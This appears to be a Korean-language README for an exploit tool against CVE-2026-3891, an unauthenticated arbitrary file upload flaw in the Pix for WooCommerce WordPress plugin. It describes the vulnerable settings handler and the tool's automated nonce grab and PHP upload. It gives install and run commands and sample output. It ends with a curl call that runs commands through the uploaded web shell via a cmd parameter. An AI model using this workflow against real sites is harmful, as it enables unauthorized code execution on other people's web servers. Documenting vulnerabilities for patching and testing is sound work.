CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

🛡️ 설명

CVE-2026-3891은 Pix for WooCommerce WordPress 플러그인의 1.5.0 및 이전 버전에서 발견된 치명적인 인증되지 않은 임의 파일 업로드(Unauthenticated Arbitrary File Upload) 취약점입니다.

이 취약점은 lkn_pix_for_woocommerce_c6_save_settings 기능에 존재하며, 인증 제어 누락과 불충분한 파일 유형 검증으로 인해 발생합니다. 이 익스플로잇은 유효한 nonce를 획득하고 웹에서 접근 가능한 디렉터리에 PHP 파일을 무제한 업로드하는 과정을 자동화합니다.

이 취약점을 악용하면 인증되지 않은 공격자는 다음을 수행할 수 있습니다:

• 임의 파일 업로드: WordPress에 인증하지 않고 임의의 파일을 업로드할 수 있습니다.
• 위험한 확장자를 가진 파일 업로드: 불충분한 파일 유형 검증으로 인해 가능합니다.
• 업로드된 파일에 직접 접근: 웹에서 접근 가능한 플러그인 디렉터리를 통해 가능합니다.
• 원격 코드 실행(RCE) 달성: 업로드된 PHP 파일이 영향받는 웹 서버에서 실행될 때 가능합니다.

---

🚀 기능

• 인증되지 않은 익스플로잇 흐름: 유효한 WordPress 사용자 자격 증명이 필요하지 않습니다.
• 자동 nonce 획득: 필요한 nonce를 자동으로 획득하고 추출합니다.
• 자동 파일 업로드: 취약한 AJAX 핸들러에 필요한 multipart 업로드 요청을 전송합니다.
• 직접 URL 생성: 업로드된 개념 증명(PoC) 파일의 최종 URL을 표시합니다.
• 깔끔한 CLI 출력: 간단하고 색상화된 명령줄 인터페이스를 제공합니다.

---

🛠️ 설치 및 요구 사항

1. 요구 사항: Python 3을 설치합니다.
2. Requests 설치:

pip install requests

3. 클론/다운로드: 시스템에 CVE-2026-3891.py 파일을 저장합니다.

---

💻 사용 방법

python CVE-2026-3891.py

프롬프트가 표시되면 대상 WordPress URL을 입력합니다:

[?] Enter target URL: http://localhost/wordpress

예시:

[*] Requesting nonce...
[+] Nonce obtained: **********
[*] Uploading woocommerce.php...

[+] File uploaded successfully!
[+] URL: http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

curl http://target/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php?cmd=ls